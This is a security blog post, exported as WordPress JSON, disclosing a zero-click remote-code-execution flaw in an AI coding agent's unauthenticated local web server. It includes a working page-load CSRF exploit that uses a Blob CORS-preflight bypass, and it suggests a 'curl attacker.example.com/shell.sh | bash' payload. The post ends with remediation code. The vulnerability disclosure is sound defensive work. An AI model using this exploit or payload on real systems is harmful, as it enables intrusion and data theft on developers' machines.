{"id":58,"date":"2026-02-13T04:30:16","date_gmt":"2026-02-13T04:30:16","guid":{"rendered":"https:\/\/infosecin.com\/?p=58"},"modified":"2026-02-13T04:35:07","modified_gmt":"2026-02-13T04:35:07","slug":"zero-click-rce-how-an-ai-coding-agents-local-web-server-became-a-remote-attack-surface","status":"publish","type":"post","link":"https:\/\/infosecin.com\/?p=58","title":{"rendered":"Zero-Click RCE: How an AI Coding Agent&#8217;s Local Web Server Became a Remote Attack Surface"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\"><\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>Disclaimer:<\/strong> Throughout this post, we use the fictional company name &#8220;Acme, Inc&#8221; and product name &#8220;TrustMe AI&#8221; as aliases. We are not permitted to reveal the real company or product names. Any resemblance to actual company or product names is purely coincidental.<\/p>\n<\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\">TL;DR<\/h2>\n\n\n\n<p>A popular AI coding agent quietly spins up a local web server with an API endpoint that executes arbitrary system commands &#8211; with zero authentication and zero CSRF protection. Any website you visit can silently fire a POST request to this local server and pop a shell on your box. Zero clicks required.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Introduction<\/h2>\n\n\n\n<p>I was poking around on a machine running an AI coding assistant &#8211; the kind that plugs into your editor, helps you write code, and automates development workflows. These tools are becoming standard equipment for developers. But they need deep system access to do their jobs, and that got me wondering: what exactly are they running behind the scenes?<\/p>\n\n\n\n<p>A quick process listing later, I was staring at a local web server bound to a high port, serving up full API documentation to anyone who asked. Within minutes, I had a working proof of concept that could execute arbitrary commands on the host machine &#8211; triggered by nothing more than visiting a webpage. No clicks, no popups, no permission prompts. Just silent, full-blown remote code execution.<\/p>\n\n\n\n<p>This is the story of how I found a critical zero-click RCE in Acme, Inc&#8217;s TrustMe AI agent.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Background \/ Prerequisites<\/h2>\n\n\n\n<p>Before we dive in, let&#8217;s cover some foundational concepts.<\/p>\n\n\n\n<p><strong>What&#8217;s going on under the hood?<\/strong><\/p>\n\n\n\n<p>When you install certain AI coding agents as editor extensions, the extension doesn&#8217;t do all the heavy lifting itself. Instead, it downloads a CLI binary and runs it as a background process. This CLI binary often starts a local web server to expose an API &#8211; essentially giving the extension (and anything else that can reach it) a way to invoke tools, run commands, and interact with the underlying system.<\/p>\n\n\n\n<p>This architecture makes sense from a development standpoint. The extension talks to the local server over HTTP, and the server handles the messy business of executing tools on the host. The problem arises when that local server is left wide open.<\/p>\n\n\n\n<p><strong>What is CSRF?<\/strong><\/p>\n\n\n\n<p>Cross-Site Request Forgery (CSRF) is an attack where a malicious website tricks your browser into sending a request to a different site &#8211; one you might be authenticated with or, in this case, one running on your localhost. The browser happily sends the request because, as far as it&#8217;s concerned, it&#8217;s just another HTTP call. If the target server doesn&#8217;t validate where the request came from, it processes it blindly.<\/p>\n\n\n\n<p><strong>Why localhost services are dangerous<\/strong><\/p>\n\n\n\n<p>There&#8217;s a common misconception that services bound to <code>localhost<\/code> (127.0.0.1) are safe from remote attack. They&#8217;re not directly reachable from the internet, sure. But your <em>browser<\/em> can reach them. And your browser will happily send requests to <code>localhost:35000<\/code> if a webpage tells it to. This is the classic localhost attack surface, and it bites more often than you&#8217;d think.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Discovery<\/h2>\n\n\n\n<p>It started with a simple process listing. I was curious what the TrustMe AI agent was actually running under the hood. So, I tried my recon with the <code>ps<\/code> command and found an interesting process:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n ...\/acme.trustmecode\/trustmecode-bin\/1.4.7\/trust_me_cli server 35000 ...\n<\/pre><\/div>\n\n\n<p>Interesting. A CLI binary is called <code>trust_me_cli<\/code> spinning up a web server on port 35000. My first instinct was to check if it had any kind of web interface.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nhttp:\/\/localhost:35000\/docs\n<\/pre><\/div>\n\n\n<p>Jackpot. A fully rendered, publicly accessible API documentation page &#8211; no auth required. It listed every endpoint the server exposed, complete with parameter schemas and example payloads.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>Note for researchers:<\/strong> Always check for <code>\/docs<\/code>, <code>\/swagger<\/code>, <code>\/openapi.json<\/code>, and similar paths when you find an unknown HTTP service. Auto-generated API docs are a goldmine during recon.<\/p>\n<\/blockquote>\n\n\n\n<p>One endpoint immediately caught my eye: <code>POST \/v2\/execute<\/code>. According to the docs, it accepted a JSON body with a <code>tool_name<\/code> and <code>arguments<\/code> field. One of the available tools? <code>bash<\/code>.<\/p>\n\n\n\n<p>Let that sink in. An unauthenticated HTTP endpoint that lets you specify <code>bash<\/code> as the tool and pass in an arbitrary command string. The CLI&#8217;s web server was essentially offering a remote shell to anyone who could reach it.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Technical Deep Dive<\/h2>\n\n\n\n<p>Let&#8217;s break down exactly why this is exploitable.<\/p>\n\n\n\n<p><strong>The vulnerable endpoint<\/strong><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nPOST http:\/\/localhost:35000\/v2\/execute\nContent-Type: application\/json\n{\n    &quot;tool&quot;: &quot;bash&quot;,\n    &quot;args&quot;: &quot;&lt;arbitrary system command&gt;&quot;\n}\n<\/pre><\/div>\n\n\n<p>The CLI binary starts this web server to service requests from the editor extension. But it binds to a TCP port on localhost without any access controls &#8211; meaning anything on the machine (or anything the browser can be tricked into sending) can hit it.<\/p>\n\n\n\n<p><strong>What&#8217;s missing &#8211; authentication<\/strong><\/p>\n\n\n\n<p>The endpoint performs zero identity verification. No API key, no bearer token, no session cookie, no mTLS certificate &#8211; nothing. Any process that can reach <code>localhost:35000<\/code> can invoke this endpoint.<\/p>\n\n\n\n<p><strong>What&#8217;s missing &#8211; CSRF protection<\/strong><\/p>\n\n\n\n<p>The server implements none of the standard CSRF defenses:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>No anti-CSRF tokens<\/li>\n\n\n\n<li>No <code>Origin<\/code> header validation<\/li>\n\n\n\n<li>No <code>Referer<\/code> header checking<\/li>\n\n\n\n<li>No restrictive <code>Content-Type<\/code> enforcement (the server happily accepts requests with blob content types, bypassing the browser&#8217;s preflight CORS check)<\/li>\n<\/ul>\n\n\n\n<p>This is the critical part. Without CSRF protection, the attack isn&#8217;t limited to malicious processes on the local machine. It extends to <strong>any website the user visits in their browser<\/strong>.<\/p>\n\n\n\n<p><strong>The attack flow<\/strong><\/p>\n\n\n\n<p>Here&#8217;s how the attack works, step by step:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nVictim's Browser                    Malicious Website              CLI's Local Web Server\n      |                                   |                               |\n      |  --- visits webpage -----------&gt;  |                               |\n      |                                   |                               |\n      |  &lt;-- serves malicious JS ------   |                               |\n      |                                   |                               |\n      |  --- POST localhost:35000\/v2\/execute --------------------------&gt; |\n      |       (tool: bash, args: &lt;payload&gt;)                      |\n      |                                   |                               |\n      |                                   |               executes command |\n      |                                   |               as current user  |\n<\/pre><\/div>\n\n\n<p>The browser sends the request directly to localhost. No server-side proxy needed. No DNS rebinding tricks. Just a plain <code>XMLHttpRequest<\/code> to <code>http:\/\/localhost:35000<\/code>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploitation \/ Proof of Concept<\/h2>\n\n\n\n<p><strong>Step 1: Confirm via curl<\/strong><\/p>\n\n\n\n<p>First, a direct test to confirm the endpoint is alive and unprotected.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\ncurl -X POST 'http:\/\/localhost:35000\/v2\/execute' \\\n  -H 'Content-Type: application\/json' \\\n  -d '{\n    &quot;tool&quot;: &quot;bash&quot;,\n    &quot;args&quot;: &quot;whoami&quot;\n  }'\n<\/pre><\/div>\n\n\n<p>This returns the output of the <code>whoami<\/code> commands, confirming arbitrary command execution with the privileges of the user running the agent.<\/p>\n\n\n\n<p><strong>Step 2: Zero-click RCE via a malicious webpage<\/strong><\/p>\n\n\n\n<p>Here&#8217;s the weaponized version. Host this HTML on any public web server.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;html&gt;\n  &lt;body&gt;\n    &lt;script&gt;\n      function exploit() {\n        var xhr = new XMLHttpRequest();\n        xhr.open(&quot;POST&quot;, &quot;http:\/\/localhost:35000\/v2\/execute&quot;, true);\n        xhr.setRequestHeader(&quot;Accept&quot;, &quot;*\/*&quot;);\n        xhr.withCredentials = true;\n\n        \/\/ The payload change &quot;open -a calculator&quot; to any command\n        var payload = JSON.stringify({\n          &quot;tool&quot;: &quot;bash&quot;,\n          &quot;args&quot;: &quot;open -a calculator&quot; \/\/ open calculator app in macos\n        });\n\n        \/\/ Send as a Blob to avoid triggering a CORS preflight request.\n        \/\/ The browser treats Blob with no explicit type as opaque,\n        \/\/ which means it sends as a &quot;simple request&quot; - no OPTIONS check.\n        var bytes = new Uint8Array(payload.length);\n        for (var i = 0; i &lt; bytes.length; i++)\n          bytes&#x5B;i] = payload.charCodeAt(i);\n\n        xhr.send(new Blob(&#x5B;bytes]));\n      }\n\n      \/\/ Fire immediately on page load - zero clicks needed\n      exploit();\n    &lt;\/script&gt;\n  &lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre><\/div>\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>Why the Blob trick?<\/strong> Normally, sending <code>Content-Type: application\/json<\/code> via XHR would trigger a CORS preflight <code>OPTIONS<\/code> request, which the server would likely reject (since it doesn&#8217;t implement CORS headers). By wrapping the JSON payload in a <code>Blob<\/code>, the browser sends it without a preflight. The server still parses the body as JSON regardless of the content type. This is a well-known technique for bypassing browser-side CORS restrictions in CSRF attacks.<\/p>\n<\/blockquote>\n\n\n\n<p><strong>Reproduction steps:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Host the HTML file above on any web server.<\/li>\n\n\n\n<li>On a machine running the vulnerable AI agent, open that URL in a browser.<\/li>\n\n\n\n<li>The <code>exploit()<\/code> function fires on page load &#8211; no interaction needed.<\/li>\n\n\n\n<li>The browser sends the POST request to the CLI&#8217;s local web server.<\/li>\n\n\n\n<li>The server executes the command. Calculator pops open.<\/li>\n<\/ol>\n\n\n\n<p>Replace <code><strong>open -a calculator<\/strong><\/code> with <br><code><strong>curl https:\/\/attacker.example.com\/shell.sh | bash<\/strong><\/code> for a more realistic (and terrifying) attack scenario.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Impact<\/h2>\n\n\n\n<p>This vulnerability is about as severe as it gets. A successful exploit gives an attacker <strong>full remote code execution<\/strong> with the privileges of the user running the AI agent, which, on most developer machines, is the primary user account.<\/p>\n\n\n\n<p>An attacker can:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Exfiltrate sensitive data<\/strong> &#8211; SSH keys, cloud credentials, environment variables, browser cookies, password manager databases, source code.<\/li>\n\n\n\n<li><strong>Install persistent malware<\/strong> &#8211; Keyloggers, reverse shells, crypto miners, and whatnot.<\/li>\n\n\n\n<li><strong>Pivot to internal networks<\/strong> &#8211; Developer machines often have VPN access and SSH keys to production infrastructure. One compromised dev box can be the foothold into an entire corporate network.<\/li>\n<\/ul>\n\n\n\n<p>The zero-click nature makes this especially dangerous. The victim doesn&#8217;t need to click anything, accept any prompt, or do anything out of the ordinary. They just need to visit a webpage, which could be delivered via a phishing email, an ad, a forum post, or even an injected script on a compromised legitimate site.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Remediation<\/h2>\n\n\n\n<p>Here are the fixes, in order of priority.<\/p>\n\n\n\n<p><strong>1. Implement authentication on all endpoints (critical)<\/strong><\/p>\n\n\n\n<p>Every endpoint on the local server must require authentication. A token-based approach is the simplest for a local service.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n# Example: token-based auth middleware\nimport secrets\n\n# Generate a session token on startup, store it where only\n# the parent process (the editor extension) can read it\nAUTH_TOKEN = secrets.token_urlsafe(32)\n\ndef authenticate_request(request):\n    token = request.headers.get(&quot;Authorization&quot;)\n    if token != f&quot;Bearer {AUTH_TOKEN}&quot;:\n        return Response(status=403, body=&quot;Unauthorized&quot;)\n    return None  # Auth passed, continue to handler\n<\/pre><\/div>\n\n\n<p>The token should be generated at startup and passed to the editor extension through a secure channel (e.g., written to a file with restrictive permissions, or passed via environment variable).<\/p>\n\n\n\n<p><strong>2. Implement CSRF protection (critical)<\/strong><\/p>\n\n\n\n<p>Even with authentication, add defense-in-depth against CSRF:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\ndef validate_origin(request):\n    origin = request.headers.get(&quot;Origin&quot;)\n    # Only allow requests from the editor extension's origin\n    # Reject all browser-initiated cross-origin requests\n    if origin is not None and origin != &quot;vscode-webview:\/\/trusted-extension-id&quot;:\n        return Response(status=403, body=&quot;Invalid origin&quot;)\n    return None\n<\/pre><\/div>\n\n\n<p>Additionally, enforce <code>Content-Type: application\/json<\/code> strictly. Reject requests that don&#8217;t include this exact header &#8211; this alone would block the Blob-based CSRF bypass, since the browser can&#8217;t send <code>application\/json<\/code> without triggering a preflight.<\/p>\n\n\n\n<p><strong>3. Restrict the bash tool<\/strong><\/p>\n\n\n\n<p>Even with authentication, giving a network-exposed endpoint direct shell access is risky. Consider:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Whitelisting specific commands rather than allowing arbitrary bash execution.<\/li>\n\n\n\n<li>Running commands in a sandboxed environment.<\/li>\n\n\n\n<li>Requiring explicit user confirmation for destructive operations.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Key Takeaways<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Localhost is not a security boundary.<\/strong> Any service listening on localhost can be reached by any website the user visits, via the browser. Always authenticate and validate origins.<\/li>\n\n\n\n<li><strong>AI agent tooling is a growing attack surface.<\/strong> As AI coding assistants become ubiquitous, their local infrastructure becomes a high-value target. These tools often need deep system access which makes their security posture critically important.<\/li>\n\n\n\n<li><strong>CSRF is alive and well.<\/strong> The Blob trick to bypass CORS preflight checks is not new, but it catches developers off guard. If your server parses JSON from the request body regardless of Content-Type, you&#8217;re vulnerable.<\/li>\n\n\n\n<li><strong>Auto-generated API docs are a recon goldmine.<\/strong> If you&#8217;re building a local service, don&#8217;t expose <code>\/docs<\/code> or <code>\/swagger<\/code> endpoints in production builds.<\/li>\n\n\n\n<li><strong>Defense in depth matters.<\/strong> Authentication alone isn&#8217;t enough. Combine it with origin validation, content-type enforcement, random ports, and principle of least privilege.<\/li>\n\n\n\n<li><strong>Check what your tools are running.<\/strong> As a developer, periodically audit what processes your IDE extensions and AI tools are spinning up. A quick <code>ps aux<\/code> and <code>netstat<\/code> can reveal surprising things.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Disclaimer: Throughout this post, we use the fictional company name &#8220;Acme, Inc&#8221; and product name &#8220;TrustMe AI&#8221; as aliases. We are not permitted to reveal the real company or product names. Any resemblance to actual company or product names is purely coincidental. TL;DR A popular AI coding agent quietly spins up a local web server [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-58","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/infosecin.com\/index.php?rest_route=\/wp\/v2\/posts\/58","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosecin.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosecin.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosecin.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosecin.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=58"}],"version-history":[{"count":2,"href":"https:\/\/infosecin.com\/index.php?rest_route=\/wp\/v2\/posts\/58\/revisions"}],"predecessor-version":[{"id":61,"href":"https:\/\/infosecin.com\/index.php?rest_route=\/wp\/v2\/posts\/58\/revisions\/61"}],"wp:attachment":[{"href":"https:\/\/infosecin.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=58"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosecin.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=58"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosecin.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=58"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}